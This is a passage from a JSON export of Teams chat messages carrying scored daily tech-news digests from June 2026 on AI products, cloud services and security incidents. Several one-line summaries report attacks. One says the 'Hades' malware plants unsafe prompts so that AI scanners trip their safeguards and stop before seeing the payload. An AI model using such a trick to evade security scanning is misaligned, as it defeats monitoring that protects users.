analytics](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-quick/)** \u2014 **Score: 30/35.** Amazon Quick adds autonomous agents, multi-dataset analytics and a redesigned activity feed for business workflows.\\n  8. **[Amazon and QuEra target useful quantum error correction by 2028](https://arstechnica.com/science/2026/06/amazon-quera-promise-useful-quantum-error-correction-by-2028/)** \u2014 **Score: 30/35.** Amazon and QuEra say useful quantum error correction could arrive by 2028, potentially accelerating practical fault-tolerant computing.\\n  9. **[OpenAI appears to test a ChatGPT for Science plan](https://www.bleepingcomputer.com/news/artificial-intelligence/leak-confirms-openai-is-testing-a-chatgpt-for-science-subscription/)** \u2014 **Score: 29/35.** OpenAI appears to be testing a dedicated ChatGPT for Science subscription and workspace, though availability is not yet confirmed.\\n  10. **[Snap spins out its AI-video team as Dotmo](https://techcrunch.com/2026/06/18/snap-spins-off-ai-video-team-into-new-company-dotmo-due-to-costs/)** \u2014 **Score: 25/35.** Snap is spinning out its AI-video team as Dotmo to contain development costs and pursue generative-video work independently.\",\n>       \"created_at\": \"2026-06-19T09:58:17.228Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863097228?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781863096435\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863096435\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863096435?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 4/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[Vertex AI SDK flaw enabled cross-tenant remote code execution](https://unit42.paloaltonetworks.com/hijacking-vertex-ai-model/)** \u2014 **Score: 34/35.** A Vertex AI Python SDK flaw enabled bucket-squatting attacks that could hijack uploaded models and achieve cross-tenant remote code execution.\\n  2. **[AI-chip location tracking bill gains industry support](https://news.google.com/rss/articles/CBMinwFBVV95cUxOUkJoSzZIYk92LXRFTnJqd1BoZkFTczlMWTZmSnZKRGxLTll4YjZjM2FnYndiMkt0M29mOWhkVXM2eDJuNXlJQ3FzU3FsMEx6TnlGa3lPZWtRR1RLdUVFSDhRcGNUSDNLN1pPeHVVY0xVV2tTNG5zbVFhWko2ZTZIR3UteDhXd0t2N2lheXhxUWgzSFU1MWllXzdPeGFtelE?oc=5)** \u2014 **Score: 33/35.** A US bill requiring location tracking for advanced AI chips gained industry support, raising major compliance and supply-chain implications.\\n  3. **[US regulators give AI data centers a faster path to the grid](https://techcrunch.com/2026/06/18/ai-data-centers-just-got-a-government-mandated-fast-lane-to-the-grid/)** \u2014 **Score: 33/35.** FERC ordered faster grid interconnection handling for data centers, but power-supply constraints remain a bottleneck for AI infrastructure growth.\\n  4. **[LiteLLM flaw chain could expose AI gateway servers](https://news.google.com/rss/articles/CBMigAFBVV95cUxNd3pzN0V5ckJOZkpoYW9YWEEyRkhCZmtzOVZSUWNpR0FOT1ZfdEFyQkE5SGRTNVdseWNsQUJBRHotZmV3NGVESFBwVC15Zlk3WEdLaFAtbGV6X3FaSDdiLUVUQm5scVg2SHN2VmsxZ2UzUnRobjB3TG0wZWZVU2tmMQ?oc=5)** \u2014 **Score: 33/35.** A vulnerability chain could let low-privilege users take over LiteLLM gateway servers, putting centralized model credentials and traffic at risk.\\n  5. **[Docker joins Athena software-supply-chain coalition](https://www.docker.com/blog/docker-joins-the-athena-coalition-a-cross-industry-collaboration-for-supply-chain-security/)** \u2014 **Score: 32/35.** Docker joined the Athena coalition to coordinate cross-industry software-supply-chain defenses as AI lowers the cost of sophisticated attacks.\\n  6. **[Docker retires Content Trust and Notary v1](https://www.docker.com/blog/docker-content-trust-retirement-and-migration-guidance/)** \u2014 **Score: 31/35.** Docker Content Trust and Notary v1 are being retired; teams must migrate image-signing workflows to supported modern alternatives.\\n  7. **[Cisco patches critical ISE command-execution flaw](https://news.google.com/rss/articles/CBMilgFBVV95cUxNUHZOYXUtLWRPaTcwVUlIM2dWUHB4bk90eDR0aFR4bGdxTDFiaUMtZjJKSGJObXBxVkVjTHhOVVNlMjhQMlFTNGRnSktjS2xFM2RjdjdZTGJsWDdrRlA0emp3dTJsdkVibW05OHF3Y21KMHhiQTNrcmp5ZWJlNllrRWVQR1VFLTdwbU5tZWF4WlUyY2t3eFHSAZsBQVVfeXFMUEk2OXJ0bXVtMmRuMDR6aEY0bVdZRWJrc2JSemxLa0hLVVFpRHRFMFhfSkVFSmlNTFZtb1Y2QlUtWmRpSzl1U1o5UXpBeTdIM1RDendKcTN3SFdyR2pzVmRxV3lpNUZnZUMtOXFHRlZHQjIwbzhPMkRqZXFMT29oQm50UlJWVEx1em9PVlNvcGJqM1FRNG1BSDB2ZWc?oc=5)** \u2014 **Score: 30/35.** Cisco patched a critical ISE command-execution flaw; identity infrastructure teams should review affected versions and prioritize upgrades.\\n  8. **[Attackers exploit three FortiSandbox vulnerabilities](https://news.google.com/rss/articles/CBMie0FVX3lxTFBfOHNXSDlzYnEtR3BYS0dfRnhSbFFQRXlPNVFLS0dwZjVxSUhJSWNmRHpPTk1vX0hmWUYwOWdXbFctZ3JYcWhVUlBjUkp1eFFPZ2tGVDJpNERtaUR3MXZYZWtmVU5EbngxY0R6TjNxOEVkeWNxcVludmJxWQ?oc=5)** \u2014 **Score: 30/35.** Attackers are exploiting three FortiSandbox flaws, including one patched only last week, creating urgent exposure for sandbox deployments.\\n  9. **[Ransomware operators hide traffic through Microsoft Teams relays](https://news.google.com/rss/articles/CBMiuwFBVV95cUxQT3VMeUZUQ0xzUE93TkFTd0xZazFTRXhKZWl4SXp1djV6eC1tdjNWSF9kMFU4cDZjYVIwdl9qOWlDV0ZURWRaejhtMlcxOVFNRzlmSEpaemJMbERBUDZWY1N0LWoyeEdfWXNJdkZkcnFVY1BrRVNBUkxYTUM4dHJBLTFVU0Z5TVA2MWZpbTNUSHpvZHpnaVl4dGZELTFKOWZ4U0YtTXNXdDNJRHpLSHp6dUNKUGE0MThTWEpF0gHAAUFVX3lxTFB3YmZPTjlodTlRbThSMWFqYW8xTmp4LV9LUXVxc2NDVDZrWm5IVzJhNHZxNGllVzJZajJoQXVVSHlYOThGaVkxeDRraktOWUkxWXB5OTIwZm5xOUk4alVacUVxdlpGZVZ4YkxqNWl0UllEaDdoblFTUjJDYkpOT0ZEZXU5RFJzQmMydTBSQmRpTWZvdzl3bE5nY1ZaTERRcHR4SGo2TThjdzVsYmFHSnNDOFlJMGpZNUFLUUlfak5PTA?oc=5)** \u2014 **Score: 30/35.** Ransomware operators are abusing Microsoft Teams relay infrastructure to conceal command-and-control traffic inside trusted cloud services.\\n  10. **[Texas breach exposes three million identity documents](https://techcrunch.com/2026/06/18/texas-government-data-breach-allowed-hackers-to-steal-3-million-drivers-licenses-and-passports/)** \u2014 **Score: 27/35.** Hackers stole about 3 million driver\u2019s licenses and passports from a Texas government system, creating large-scale identity and privacy risk.\",\n>       \"created_at\": \"2026-06-19T09:58:16.435Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863096435?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781863095391\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863095391\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863095391?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 3/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[Nvidia Blackwell leads the first AgentPerf infrastructure benchmark](https://blogs.nvidia.com/blog/nvidia-blackwell-agentperf-artificial-analysis/)** \u2014 **Score: 33/35.** Nvidia Blackwell led the first AgentPerf infrastructure results, giving teams a new benchmark for comparing systems that run tool-using AI agents.\\n  2. **[HPE and Nvidia expand AI Factory for production agents](https://blogs.nvidia.com/blog/hpe-ai-factory-agentic-enterprise/)** \u2014 **Score: 32/35.** HPE and Nvidia expanded their AI Factory stack for production agents, combining compute, networking, software and enterprise deployment tooling.\\n  3. **[OpenAI launches a $150 million partner network](https://openai.com/index/introducing-openai-partner-network)** \u2014 **Score: 31/35.** OpenAI is investing $150 million in a global partner network to accelerate enterprise AI deployment, integration and transformation.\\n  4. **[Baseten reportedly raises $1.5 billion for AI inference](https://techcrunch.com/2026/06/18/ai-inference-startup-baseten-reportedly-raising-1-5b-months-after-its-last-mega-round/)** \u2014 **Score: 31/35.** Inference-platform startup Baseten is reportedly raising $1.5 billion at a $13 billion valuation, underscoring demand for AI-serving infrastructure.\\n  5. **[OVHcloud plans frontier models for European AI sovereignty](https://news.google.com/rss/articles/CBMiyAFBVV95cUxOSXVzUTFCWkxBeDRRWEItdmFYMGlQQ1BLcTlWRGM5THcxcFFULWQxaFVrOGhabzZqcGVqMWE3V3pwaU9SQzFzVGpJRE0xNm44NnpXcjhSaEFncUZKd2tEYkR6dW56bUR4SjVKaVBZd0Q4akxYdktlbThsOGgtTjBrZGdwRTJybnpMMDRZMVEtRXhIWHVOT21OcEFrM0lya0RmSG1EMWZlMTBIUlFCS2pNeEdWWXVDbllBb19uaTJrOUt1TlF2ajJTbg?oc=5)** \u2014 **Score: 31/35.** OVHcloud plans frontier models intended to make it Europe\u2019s second major LLM player, tying sovereign cloud ambitions to model development.\\n  6. **[France brings more sovereign AI infrastructure online](https://blogs.nvidia.com/blog/france-advances-europes-ai-future/)** \u2014 **Score: 30/35.** Nvidia says French AI factories, national compute and industrial platforms are moving into production, expanding Europe\u2019s sovereign-AI capacity.\\n  7. **[India reaches 2.25 million cloud-native developers](https://www.cncf.io/announcements/2026/06/17/cncf-and-slashdata-report-confirms-india-as-one-of-the-largest-cloud-native-communities-with-2-25-million-developers/)** \u2014 **Score: 29/35.** CNCF and SlashData estimate India now has 2.25 million cloud-native developers, alongside rising platform-engineering and hybrid-cloud adoption.\\n  8. **[HSBC expands enterprise AI adoption with Google Cloud](https://news.google.com/rss/articles/CBMiogFBVV95cUxPZ3NyYncxbWk3WUdISWx2N0ZJNHJ5M0RxallIRVpuQmVPVW9zQUJ0R1dwZXJQTHRSQWs2MXMwMUVvc0tHZlktZEJvclRjVzRzUjZZS3hnek1iZUtGcU4wVlEwSkZ2RTY0ZHhzRUhxaGVuR3JzUFE1MUFSMWo3VGVLMzcyM1EzUHNCWGNsRk9xbmlMZ19UWFdfRmdJdURxU0IxSnc?oc=5)** \u2014 **Score: 28/35.** HSBC is expanding its Google Cloud partnership to scale AI use across the bank, another large-enterprise signal for managed cloud AI adoption.\\n  9. **[Near-autonomous GPT-5.4 chemist improves a drug-making reaction](https://openai.com/index/ai-chemist-improves-reaction)** \u2014 **Score: 28/35.** OpenAI and Molecule.one report that a near-autonomous GPT-5.4 chemist improved a difficult medicinal-chemistry reaction.\\n  10. **[OpenAI releases LifeSciBench for real-world research tasks](https://openai.com/index/introducing-life-sci-bench)** \u2014 **Score: 28/35.** OpenAI released an expert-reviewed benchmark for testing how AI systems handle real-world life-science research tasks and decisions.\",\n>       \"created_at\": \"2026-06-19T09:58:15.391Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863095391?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781863094471\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863094471\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863094471?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 2/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[AWS introduces Continuum for machine-speed security remediation](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-continuum/)** \u2014 **Score: 34/35.** AWS Continuum uses frontier models to discover, prioritize, validate and remediate software risks within customer-defined guardrails.\\n  2. **[AWS agent toolkit adds safer Secrets Manager handling](https://aws.amazon.com/about-aws/whats-new/2026/06/safe-secrets-handling-in-agent-toolkit-for-aws/)** \u2014 **Score: 34/35.** AWS\u2019s agent toolkit adds a Secrets Manager safety skill so coding agents can reference secrets without exposing raw values in prompts or code.\\n  3. **[AWS DevOps Agent previews autonomous release management](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-devops-agent-release-management/)** \u2014 **Score: 33/35.** AWS DevOps Agent can review release readiness and run autonomous release tests before production, expanding agentic CI/CD controls.\\n  4. **[SageMaker adds observability for production inference endpoints](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-sagemaker-ai-inference/)** \u2014 **Score: 33/35.** New inference observability surfaces token performance, GPU health, placement and autoscaling signals for production generative-AI endpoints.\\n  5. **[Cloudflare scales Security Insights scanning capacity tenfold](https://blog.cloudflare.com/scaling-security-scans/)** \u2014 **Score: 32/35.** Cloudflare raised Security Insights throughput to 120+ scans per second\u2014a 10\u00d7 gain\u2014by tuning Kafka consumers, Postgres queries and APIs.\\n  6. **[Amazon EKS adds customer-routed control-plane egress](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-eks-customer-routed-control-plane-egress)** \u2014 **Score: 31/35.** EKS customers can route control-plane egress through their own VPC, improving visibility and policy control for webhooks, OIDC and other outbound traffic.\\n  7. **[F5 ships emergency patches for critical NGINX flaws](https://www.bleepingcomputer.com/news/security/f5-issues-out-of-band-patches-for-critical-nginx-vulnerabilities/)** \u2014 **Score: 30/35.** F5 issued emergency fixes for multiple NGINX flaws, including two critical bugs that could permit remote code execution.\\n  8. **[GitHub Actions supports layered custom runner images](https://github.blog/changelog/2026-06-18-actions-build-custom-images-from-custom-images)** \u2014 **Score: 29/35.** GitHub Actions can now build custom hosted-runner images from existing custom images, simplifying layered image pipelines and maintenance.\\n  9. **[GitHub previews duplicate-issue detection and MCP field support](https://github.blog/changelog/2026-06-18-duplicate-detection-and-issue-fields-mcp-support-for-github-issues)** \u2014 **Score: 29/35.** GitHub is previewing duplicate-issue detection and adding issue-field support to its MCP tooling, reducing maintainer triage work.\\n  10. **[GitHub search now attributes Copilot-authored pull requests](https://github.blog/changelog/2026-06-18-copilot-authored-pull-requests-now-included-in-author-searches)** \u2014 **Score: 29/35.** GitHub author searches now include pull requests opened by Copilot\u2019s cloud agent on a user\u2019s behalf, improving attribution and review tracking.\",\n>       \"created_at\": \"2026-06-19T09:58:14.471Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863094471?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781863093721\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863093721\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863093721?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 1/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[Microsoft advances agentic vulnerability detection into production workflows](https://www.microsoft.com/en-us/security/blog/2026/06/17/beyond-the-benchmark-advancing-security-at-ai-speed/)** \u2014 **Score: 34/35.** Microsoft says its MDASH agentic system now works across Windows, Azure and identity workflows, moving vulnerability discovery and validation closer to production.\\n  2. **[Bedrock AgentCore adds Guardrails to agent authorization policies](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-bedrock-agentcore-policy-guardrails-generally-available)** \u2014 **Score: 34/35.** AgentCore Policy can now invoke Bedrock Guardrails, adding content, privacy and safety checks to authorization decisions for production agents.\\n  3. **[AWS Transform assesses generative-AI model migrations](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-transform-model-to-model-assessments)** \u2014 **Score: 33/35.** AWS Transform scans generative-AI codebases and produces plans for migrating workloads from third-party model providers to Amazon Bedrock.\\n  4. **[Amazon Bedrock AgentCore harness reaches general availability](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-bedrock-agentcore-harness-generally-available)** \u2014 **Score: 33/35.** AWS made its managed agent harness generally available, packaging the runtime, tools and orchestration needed to move from an idea to a working agent.\\n  5. **[AWS launches EC2 G7 instances with Blackwell GPUs](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-ec2-g7-generally-available)** \u2014 **Score: 32/35.** New G7 instances use Nvidia RTX PRO 4500 Blackwell GPUs and claim up to 4.6\u00d7 higher AI-inference performance than the prior generation.\\n  6. **[Snyk makes its AI security platform free for open-source maintainers](https://snyk.io/blog/secure-developer-program/)** \u2014 **Score: 32/35.** Qualifying open-source maintainers can use Snyk\u2019s full AI Security Platform free to triage, prioritize and fix real vulnerability reports.\\n  7. **[Nvidia Blackwell leads MLPerf Training 6.0](https://blogs.nvidia.com/blog/blackwell-mlperf-training-6-0/)** \u2014 **Score: 31/35.** Nvidia says Blackwell swept MLPerf Training 6.0, a signal for teams comparing large-model training speed, scale and infrastructure efficiency.\\n  8. **[Oracle Autonomous AI Database Serverless arrives on AWS](https://aws.amazon.com/about-aws/whats-new/2026/06/oracle-database-aws-autonomous-database-serverless/)** \u2014 **Score: 30/35.** Oracle Autonomous AI Database Serverless is now available through Database@AWS, with automated patching, tuning and scaling on Exadata.\\n  9. **[GitHub Copilot will deprecate Opus 4.6 fast](https://github.blog/changelog/2026-06-18-upcoming-deprecation-of-opus-4-6-fast)** \u2014 **Score: 30/35.** GitHub will remove Opus 4.6 (fast) from Copilot on June 29; teams using it in chat, agents, edits or completions must choose a supported model.\\n  10. **[Klue OAuth breach exposes Salesforce data across organizations](https://www.bleepingcomputer.com/news/security/klue-oauth-breach-linked-to-icarus-salesforce-data-theft-attacks/)** \u2014 **Score: 28/35.** An OAuth compromise at Klue let Icarus actors steal Salesforce data from multiple organizations, reinforcing third-party token and app risk.\",\n>       \"created_at\": \"2026-06-19T09:58:13.721Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863093721?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781862571753\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781862571753\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781862571753?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News \u2014 June 19, 2026\\n\\nReviewed 90 articles published June 12\u201319 across official feeds, Google News,\\nHacker News and major technology publications. Earlier ChatReview events were\\nexcluded.\\n\\n  1. **[AutoJack shows how one malicious page can reach an AI agent host](https://www.microsoft.com/en-us/security/blog/2026/06/18/autojack-single-page-rce-host-running-ai-agent/)** \u2014 **Score: 34/35.** Microsoft showed how untrusted page content could reach a local MCP socket and execute processes in AutoGen Studio. Fixed upstream; PyPI releases were not exposed.\\n  2. **[AWS Security Agent adds threat modeling and coding-agent integrations](https://aws.amazon.com/blogs/aws/aws-security-agent-adds-threat-modeling-kiro-power-and-claude-code-plugin-and-more/)** \u2014 **Score: 34/35.** Adds STRIDE threat modeling, repo/PR scanning with remediation, plus Kiro, Claude Code and MCP integrations\u2014bringing security reviews into developer workflows.\\n  3. **[Cloudflare launches agent-powered Zero Trust deployment stack](https://blog.cloudflare.com/cloudflare-one-stack/)** \u2014 **Score: 34/35.** A library of agent skills can plan, deploy and manage Zero Trust environments, turning network and security migration into an agent-assisted workflow.\\n  4. **[OpenAI simulates deployment to predict model behavior before release](https://openai.com/index/deployment-simulation)** \u2014 **Score: 33/35.** Deployment Simulation privately replays prior conversations against candidate models to predict real-world misbehavior, including agentic tool-use rollouts.\\n  5. **[Amazon Bedrock AgentCore adds managed web search](https://aws.amazon.com/blogs/aws/announcing-web-search-on-amazon-bedrock-agentcore-ground-your-ai-agents-in-current-accurate-web-knowledge/)** \u2014 **Score: 33/35.** AgentCore now offers MCP-based web search with citations and zero customer-data egress, reducing the infrastructure needed to build grounded agents.\\n  6. **[Mastra npm compromise poisoned more than 140 packages](https://www.microsoft.com/en-us/security/blog/2026/06/17/postinstall-payload-inside-mastra-npm-supply-chain-compromise/)** \u2014 **Score: 32/35.** Postinstall malware could hit developer machines and CI/CD pipelines before the compromised Mastra packages were removed and publishing access revoked.\\n  7. **[Google pushes its AI chips as a broader Nvidia rival](https://www.wsj.com/tech/ai/google-is-using-nvidias-playbook-to-build-a-rival-ai-chip-business-1eac86f9)** \u2014 **Score: 32/35.** Google is using its cloud reach and years of accelerator development to court external customers and build a larger rival AI-chip business.\\n  8. **[Amazon explores selling Trainium chips outside AWS](https://techcrunch.com/2026/06/18/amazon-hopes-to-challenge-nvidia-more-directly-by-selling-its-ai-chips/)** \u2014 **Score: 32/35.** AWS is in early talks to sell Trainium to outside data centers, signaling a direct challenge to Nvidia and a new AI-infrastructure business.\\n  9. **[AWS WAF lets publishers charge AI bots at the edge](https://aws.amazon.com/blogs/aws/aws-waf-adds-ai-traffic-monetization-capability-to-help-content-owners-charge-ai-bots-for-content-access/)** \u2014 **Score: 32/35.** AWS WAF can meter and charge verified AI bots per request using x402 settlement\u2014a notable new commercial model for publisher and agent access.\\n  10. **[Cloudflare publishes its AI-assisted vulnerability harness](https://blog.cloudflare.com/build-your-own-vulnerability-harness/)** \u2014 **Score: 32/35.** Cloudflare detailed a multi-stage discovery and triage system designed to manage state, false positives and model context limits during security research.\\n  11. **[GitHub Copilot code review now follows AGENTS.md](https://github.blog/changelog/2026-06-18-copilot-code-review-agents-md-support-and-ui-improvements)** \u2014 **Score: 32/35.** Copilot code review now reads repository-level AGENTS.md instructions and is easier to request on draft pull requests; the changes are generally available.\\n  12. **[GitHub Actions gets safer pull_request_target defaults](https://github.blog/changelog/2026-06-18-safer-pull_request_target-defaults-for-github-actions-checkout)** \u2014 **Score: 31/35.** actions/checkout v7 reduces \u201cpwn request\u201d risk, where unreviewed fork code can run with repository secrets and elevated GITHUB_TOKEN permissions.\\n  13. **[MAI-Code-1-Flash expands across GitHub Copilot](https://github.blog/changelog/2026-06-18-mai-code-1-flash-available-on-more-copilot-surfaces/)** \u2014 **Score: 31/35.** Microsoft\u2019s small coding model is rolling out across Copilot CLI, GitHub, VS Code and mobile, with Business and Enterprise access planned.\\n  14. **[OpenAI adds enterprise usage analytics and spend controls](https://openai.com/index/chatgpt-enterprise-spend-controls)** \u2014 **Score: 31/35.** ChatGPT Enterprise adds unified ChatGPT/Codex credit analytics plus workspace, group and user limits to make AI rollout costs more governable.\\n  15. **[Critical Splunk flaw is exploited days after disclosure](https://www.securityweek.com/splunk-enterprise-vulnerability-exploited-in-attacks-days-after-disclosure/)** \u2014 **Score: 30/35.** CVE-2026-20253 was exploited days after disclosure; CISA gave agencies three days to patch the unauthenticated file-operation flaw.\",\n>       \"created_at\": \"2026-06-19T09:49:31.753Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781862571753?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781693002738\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781693002738\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781693002738?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News - Jun 17, 2026 - Repeat Pass 2/10\\n\\nSecond repeat pass. Previously posted same-event stories were filtered out.\\n\\n  1. **[Oracle warns PeopleSoft customers after mass exploitation](https://www.techradar.com/pro/security/oracle-warns-customers-of-critical-peoplesoft-attack-after-hundreds-of-servers-hacked-by-apparent-shinyhunters-data-theft-attacks)** \\\\- Score: 31/35. CVE-2026-35273 was reportedly exploited as a zero-day before Oracle's June 10 patch, hitting enterprise and university systems.\\n  2. **[Hades malware tricks AI scanners with prompt injection](https://www.tomshardware.com/tech-industry/cyber-security/hades-malware-campaign-now-tricks-ai-bots-by-injecting-text-about-biological-and-nuclear-weapons-failsafe-mechanisms-triggered-by-prompts-for-weapon-creation-stop-scans-before-payload-is-seen)** \\\\- Score: 31/35. Malicious Python and JavaScript packages now embed unsafe prompts to trip AI scanner safeguards and hide payloads from cursory checks.\\n  3. **[Vibe-coding startups are raising billions](https://www.businessinsider.com/startups-raising-billions-vibe-coding-boom-cursor-lovable-replit-emergent-2026-3)** \\\\- Score: 30/35. Replit, Lovable, Cognition, Poolside and others show how natural-language app building is pulling capital into developer tooling.\\n  4. **[Google Gemini suffers multi-hour global outage](https://www.techradar.com/news/live/gemini-down-june-2026)** \\\\- Score: 29/35. Gemini users saw error 1076/1099 across web and mobile, underscoring reliability risk as teams depend on AI assistants for work.\\n  5. **[Tech leaders soften how they talk about AI job impact](https://www.businessinsider.com/ai-job-impact-losses-shifting-sam-altman-mustafa-suleyman-comments-2026-6)** \\\\- Score: 28/35. Altman, Suleyman and others are reframing AI from job wipeout to task automation as public and political backlash rises.\\n  6. **[OpenAI and Anthropic warn about the AI future they are building](https://www.businessinsider.com/openai-anthropic-warning-about-future-they-are-building-2026-6)** \\\\- Score: 28/35. Frontier labs are calling for stronger safety coordination while still racing to ship models and developer automation tools.\\n  7. **[OpenAI and Anthropic IPO plans could reshape AI investing](https://www.businessinsider.com/openai-anthropic-ai-ipo-spacex-stocks-stock-market-investing-trade-2026-6)** \\\\- Score: 27/35. Direct public listings for frontier labs could pull capital away from hyperscalers, chips and other indirect AI beneficiaries.\\n  8. **[Palantir CEO criticizes AI companies and their deployment model](https://www.businessinsider.com/palantir-ceo-ai-companies-leaders-unlikeable-fde-competition-2026-6)** \\\\- Score: 26/35. Alex Karp says AI firms misunderstand public trust and copy Palantir's forward-deployed model without enough operational discipline.\\n  9. **[The Internet of Agentic AI](https://arxiv.org/abs/2606.12835)** \\\\- Score: 26/35. New research frames autonomous agents as distributed systems needing identity, negotiation, trust, governance and resource control.\\n  10. **[Programming languages still matter to AI coding agents](https://arxiv.org/abs/2606.13763)** \\\\- Score: 26/35. Claude Code and Codex built chess engines in 17 languages, but performance, cost and supervision still varied heavily by language.\",\n>       \"created_at\": \"2026-06-17T10:43:22.738Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781693002738?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781692653287\",\n>       \"path\": 